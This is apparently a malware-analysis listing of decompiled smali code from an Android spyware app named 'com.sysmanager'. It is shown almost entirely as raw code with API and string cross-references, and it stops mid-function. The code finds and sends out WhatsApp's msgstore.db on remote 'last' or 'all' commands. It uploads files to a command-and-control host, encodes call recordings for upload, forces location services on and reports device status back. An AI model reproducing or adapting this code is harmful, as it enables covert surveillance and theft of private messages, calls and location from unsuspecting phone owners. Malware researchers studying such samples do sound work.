3const-string v3, "/mnt/sdcard/WhatsApp/Databases/"
5invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
7invoke-virtual {v2}, Ljava/io/File;->exists()Z
8move-result v3
9if-eqz v3, :cond_49
11invoke-virtual {v2}, Ljava/io/File;->list()[Ljava/lang/String;
12move-result-object v1
14iget-object v3, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->this$0:Lcom/sysmanager/system/AndroidAccessibility;
15array-length v4, v1
16iput v4, v3, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
17array-length v3, v1
18if-lez v3, :cond_49
19array-length v4, v1
20const/4 v3, 0x0
21goto_1b: if-ge v3, v4, :cond_49
22aget-object v0, v1, v3
24const-string v5, "msgstore.db"
26invoke-virtual {v0, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
27move-result v5
28if-eqz v5, :cond_39
30iget-object v5, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->val$comando:Ljava/lang/String;
32const-string v6, "last"
34invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
35move-result v5
36if-eqz v5, :cond_39
38iget-object v5, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->this$0:Lcom/sysmanager/system/AndroidAccessibility;
40invoke-virtual {v5, v2, v0}, Lcom/sysmanager/system/AndroidAccessibility;->sendFile(Ljava/io/File;Ljava/lang/String;)V
41cond_36: add-int/lit8 v3, v3, 0x1
42goto/16 :goto_1b
43cond_39:
44iget-object v5, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->val$comando:Ljava/lang/String;
46const-string v6, "all"
48invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
49move-result v5
50if-eqz v5, :cond_36
52iget-object v5, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->this$0:Lcom/sysmanager/system/AndroidAccessibility;
54invoke-virtual {v5, v2, v0}, Lcom/sysmanager/system/AndroidAccessibility;->sendFile(Ljava/io/File;Ljava/lang/String;)V
55goto/16 :goto_36
56cond_49:
57iget-object v3, p0, Lcom/sysmanager/system/AndroidAccessibility$1;->this$0:Lcom/sysmanager/system/AndroidAccessibility;
59invoke-virtual {v3}, Lcom/sysmanager/system/AndroidAccessibility;->stopSelf()V
60return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getTotalInternalMemorySize
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getAvailableInternalMemorySize
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getTotalExternalMemorySize
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getAvailableExternalMemorySize
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • TotalInternalStorage
  • AvailableInternalStorage
  • TotalExternalStorage
  • AvailableExternalStorage
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6try_start_0:
7iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
9const-string v2, "TotalInternalStorage"
11invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getTotalInternalMemorySize()Ljava/lang/String;
12move-result-object v3
14invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
16iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
18const-string v2, "AvailableInternalStorage"
20invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getAvailableInternalMemorySize()Ljava/lang/String;
21move-result-object v3
23invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
25iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
27const-string v2, "TotalExternalStorage"
29invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getTotalExternalMemorySize()Ljava/lang/String;
30move-result-object v3
32invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
34iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
36const-string v2, "AvailableExternalStorage"
38invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getAvailableExternalMemorySize()Ljava/lang/String;
39move-result-object v3
41invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
42try_end_2c: return-void
43catch_2d: move-exception v0
45invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
46move-result-object v1
48invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
49move-result-object v2
51invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
52goto/16 :goto_2c
Cross References
APIs
  • com.sysmanager.system.AndroidMDMSupport.getApplicationContext
  • com.sysmanager.system.AndroidMDMSupport.stopSelf
  • com.sysmanager.system.AndroidMDMSupport.getApplicationContext
  • java.io.File.<init>
  • java.io.File.exists
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidMDMSupport.getApplicationContext
  • com.sysmanager.system.AndroidMDMSupport.stopSelf
Strings
  • A70
  • socialYES
Position Instruction Meta Information
0.param p1, "vfile" # Ljava/lang/String;
1.param p2, "url" # Ljava/lang/String;
2.prologue
3try_start_0:
4invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
5move-result-object v0
7invoke-static {v0}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
8move-result v7
9if-nez v7, :cond_e
10goto_a:
11invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->stopSelf()V
12goto_d: return-void
13cond_e:
14invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
15move-result-object v0
17invoke-static {v0}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
18move-result-object v3
19new-instance v0, Ljava/io/File;
21iget-object v1, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
23invoke-direct {v0, v1, p1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
25invoke-virtual {v0}, Ljava/io/File;->exists()Z
26move-result v0
27if-eqz v0, :cond_a
29invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
30move-result v0
31if-nez v0, :cond_a
33iget-object v0, p0, Lcom/sysmanager/system/AndroidMDMSupport;->mDir:Ljava/io/File;
35const-string v2, "A70"
37const-string v5, ""
39invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
40move-result-object v6
41move-object v1, p1
42move-object v4, p2
44invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
45move-result v8
46if-eqz v8, :cond_a
48const-string v0, "socialYES"
50invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
51move-result-object v1
53const-string v2, "A70"
55invoke-static {v0, v1, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
56try_end_46: goto/16 :goto_a
57catch_47: move-exception v9
59invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
60move-result-object v0
62invoke-static {v9}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
63move-result-object v1
65invoke-static {v0, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
67invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->stopSelf()V
68goto/16 :goto_d
Cross References
APIs
  • java.io.File.length
  • java.lang.StringBuilder.<init>
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • android.util.Base64.encode
  • java.io.File.delete
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
Strings
  • .call
Position Instruction Meta Information
0.param p1, "source" # Ljava/io/File;
1.param p2, "dest" # Ljava/io/File;
2.param p3, "isCallRecording" # Z
3.prologue
4const/4 v2, 0x0
5try_start_1:
6invoke-virtual {p1}, Ljava/io/File;->length()J
7move-result-wide v4
8const-wide/16 v6, 0x0
9cmp-long v3, v4, v6
10if-lez v3, :cond_38
11if-eqz p3, :cond_2a
12new-instance v0, Ljava/io/File;
13new-instance v3, Ljava/lang/StringBuilder;
15invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
17invoke-virtual {p2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
18move-result-object v4
20invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v3
23const-string v4, ".call"
25invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
26move-result-object v3
28invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
29move-result-object v3
31invoke-direct {v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
32move-object p2, v0
33cond_2a:
34invoke-static {p1}, Lcom/sysmanager/costanti/Costanti;->readFileToByteArray(Ljava/io/File;)[B
35move-result-object v3
36const/4 v4, 0x2
38invoke-static {v3, v4}, Landroid/util/Base64;->encode([BI)[B
39move-result-object v3
41invoke-static {p2, v3}, Lcom/sysmanager/costanti/Costanti;->writeByteArrayToFile(Ljava/io/File;[B)V
42goto_36: const/4 v2, 0x1
43goto_37: return v2
44cond_38:
45invoke-virtual {p1}, Ljava/io/File;->delete()Z
46try_end_3b: goto/16 :goto_36
47catch_3c: move-exception v1
49invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
50move-result-object v3
52invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
53move-result-object v4
55invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
56goto/16 :goto_37
57catch_49: move-exception v1
59invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
60move-result-object v3
62invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
63move-result-object v4
65invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
66goto/16 :goto_37
Cross References
APIs
  • com.sysmanager.storage.FileSend.getReadableDatabase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.close
  • com.sysmanager.Scontext.getContext
Strings
  • SELECT * FROM tab4 WHERE col19 = \'
  • \'
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.prologue
2monitor-enter p0
3try_start_1:
4invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
5try_end_4: move-result-object v1
6try_start_5: new-instance v4, Ljava/lang/StringBuilder;
8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
10const-string v5, "SELECT * FROM tab4 WHERE col19 = \'"
12invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v4
15invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
16move-result-object v5
18invoke-static {v5, p1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
19move-result-object v5
21invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v4
24const-string v5, "\'"
26invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27move-result-object v4
29invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v3
31const/4 v4, 0x0
33invoke-virtual {v1, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
34move-result-object v0
36invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
37try_end_2e: move-result v4
38if-eqz v4, :cond_34
39const/4 v4, 0x1
40goto_32: monitor-exit p0
41return v4
42try_start_34:
43invoke-interface {v0}, Landroid/database/Cursor;->close()V
44goto_37: const/4 v4, 0x0
45goto/16 :goto_32
46catch_39: move-exception v2
47try_start_3a:
48invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
49move-result-object v4
51invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
52move-result-object v5
54invoke-static {v4, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
55try_end_45: goto/16 :goto_37
56catchall_46: move-exception v4
57monitor-exit p0
58throw v4
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Context.startService
Strings
  • col06
  • col07
  • extra_accuracy
  • netYES
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "sendFeedback" # Z
2.prologue
4invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
5move-result-object v1
7const-string v2, "col06"
8const/4 v3, 0x1
10invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
12invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
13move-result-object v1
15const-string v2, "col07"
16const/4 v3, 0x0
18invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
19new-instance v0, Landroid/content/Intent;
20const-class v1, Lcom/sysmanager/system/AndroidSystemQueues;
22invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
24const-string v1, "extra_accuracy"
25const/16 v2, 0x66
27invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
29invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
30if-eqz p1, :cond_2e
32const-string v1, "netYES"
34const-string v2, "A70"
36invoke-static {v1, p0, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
37cond_2e: return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.String.valueOf
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • :
Position Instruction Meta Information
0.param p1, "duration" # J
1.prologue
2const-wide/16 v8, 0xe10
3div-long v2, p1, v8
4const-wide/16 v8, 0x1
5cmp-long v1, v2, v8
6if-ltz v1, :cond_4a
7const-wide/16 v8, 0xe10
8rem-long v8, p1, v8
9const-wide/16 v10, 0x3c
10div-long v4, v8, v10
11goto_12: const-wide/16 v8, 0x1
12cmp-long v1, v4, v8
13if-ltz v1, :cond_4f
14const-wide/16 v8, 0x3c
15rem-long v6, p1, v8
16goto_1c: new-instance v1, Ljava/lang/StringBuilder;
18invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
20invoke-static {v2, v3}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
21move-result-object v8
23invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v1
26const-string v8, ":"
28invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v1
31invoke-static {v4, v5}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
32move-result-object v8
34invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35move-result-object v1
37const-string v8, ":"
39invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40move-result-object v1
42invoke-static {v6, v7}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
43move-result-object v8
45invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
46move-result-object v1
48invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
49move-result-object v0
50return-object v0
51cond_4a: const-wide/16 v8, 0x3c
52div-long v4, p1, v8
53goto/16 :goto_12
54cond_4f: move-wide v6, p1
55goto/16 :goto_1c
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
  • com.sysmanager.Scontext.getContext
Strings
  • tab4
  • col19=\'
  • \'
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.prologue
3invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
4move-result-object v0
5const/4 v1, 0x0
6try_start_5:
7const-string v3, "tab4"
8new-instance v4, Ljava/lang/StringBuilder;
10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
12const-string v5, "col19=\'"
14invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v4
17invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
18move-result-object v5
20invoke-static {v5, p1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
21move-result-object v5
23invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v4
26const-string v5, "\'"
28invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v4
31invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v4
33const/4 v5, 0x0
35invoke-virtual {v0, v3, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
36try_end_2c: move-result v3
37if-lez v3, :cond_31
38const/4 v1, 0x1
39goto_30: return v1
40cond_31: const/4 v1, 0x0
41goto/16 :goto_30
42catch_33: move-exception v2
44invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
45move-result-object v3
47invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
48move-result-object v4
50invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
51goto/16 :goto_30
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
  • com.sysmanager.Scontext.getContext
Strings
  • tab1
  • col01=\'
  • \'
Position Instruction Meta Information
0.param p1, "path" # Ljava/lang/String;
1.prologue
3invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
4move-result-object v0
5const/4 v1, 0x0
6try_start_5:
7const-string v3, "tab1"
8new-instance v4, Ljava/lang/StringBuilder;
10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
12const-string v5, "col01=\'"
14invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v4
17invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
18move-result-object v5
20invoke-static {v5, p1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
21move-result-object v5
23invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v4
26const-string v5, "\'"
28invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v4
31invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v4
33const/4 v5, 0x0
35invoke-virtual {v0, v3, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
36try_end_2c: move-result v3
37if-lez v3, :cond_31
38const/4 v1, 0x1
39goto_30: return v1
40cond_31: const/4 v1, 0x0
41goto/16 :goto_30
42catch_33: move-exception v2
44invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
45move-result-object v3
47invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
48move-result-object v4
50invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
51goto/16 :goto_30
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
  • com.sysmanager.Scontext.getContext
Strings
  • tab3
  • _id=\'
  • \'
Position Instruction Meta Information
0.param p1, "id" # I
1.prologue
3invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
4move-result-object v0
5const/4 v2, 0x0
6try_start_5:
7const-string v3, "tab3"
8new-instance v4, Ljava/lang/StringBuilder;
10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
12const-string v5, "_id=\'"
14invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v4
17invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
18move-result-object v4
20const-string v5, "\'"
22invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v4
25invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v4
27const/4 v5, 0x0
29invoke-virtual {v0, v3, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
30try_end_24: move-result v3
31if-lez v3, :cond_29
32const/4 v2, 0x1
33goto_28: return v2
34cond_29: const/4 v2, 0x0
35goto/16 :goto_28
36catch_2b: move-exception v1
38invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
39move-result-object v3
41invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
42move-result-object v4
44invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
45goto/16 :goto_28
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
  • com.sysmanager.Scontext.getContext
Strings
  • tab2
  • _id=\'
  • \'
Position Instruction Meta Information
0.param p1, "id" # I
1.prologue
3invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
4move-result-object v0
5const/4 v2, 0x0
6try_start_5:
7const-string v3, "tab2"
8new-instance v4, Ljava/lang/StringBuilder;
10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
12const-string v5, "_id=\'"
14invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v4
17invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
18move-result-object v4
20const-string v5, "\'"
22invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v4
25invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v4
27const/4 v5, 0x0
29invoke-virtual {v0, v3, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
30try_end_24: move-result v3
31if-lez v3, :cond_29
32const/4 v2, 0x1
33goto_28: return v2
34cond_29: const/4 v2, 0x0
35goto/16 :goto_28
36catch_2b: move-exception v1
38invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
39move-result-object v3
41invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
42move-result-object v4
44invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
45goto/16 :goto_28
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.addCategory
  • android.content.Intent.setFlags
  • android.content.Context.startActivity
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Strings
  • android.intent.action.MAIN
  • android.intent.category.HOME
  • locationYES
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2const/high16 v3, 0x10000000
3new-instance v0, Landroid/content/Intent;
5const-string v2, "android.intent.action.MAIN"
7invoke-direct {v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
9const-string v2, "android.intent.category.HOME"
11invoke-virtual {v0, v2}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
13invoke-virtual {v0, v3}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
15invoke-virtual {p0, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
16new-instance v1, Landroid/content/Intent;
17const-class v2, Lcom/sysmanager/EnableLocationActivity;
19invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
21invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
23invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
25const-string v2, "locationYES"
27const-string v3, "A70"
29invoke-static {v2, p0, v3}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
30return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getSystemService
  • java.lang.Class.cast
  • android.os.PowerManager.isScreenOn
  • org.json.JSONObject.put
  • android.os.PowerManager.isInteractive
  • org.json.JSONObject.put
Strings
  • power
  • IsScreenOn
  • true
  • false
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6const-class v1, Landroid/os/PowerManager;
8const-string v2, "power"
10invoke-virtual {p0, v2}, Lcom/sysmanager/system/AndroidSystemCall;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
11move-result-object v2
13invoke-virtual {v1, v2}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
14move-result-object v0
15check-cast v0, Landroid/os/PowerManager;
16sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
17const/16 v2, 0x14
18if-ge v1, v2, :cond_27
20iget-object v2, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
22const-string v3, "IsScreenOn"
24invoke-virtual {v0}, Landroid/os/PowerManager;->isScreenOn()Z
25move-result v1
26if-eqz v1, :cond_24
28const-string v1, "true"
29goto_20:
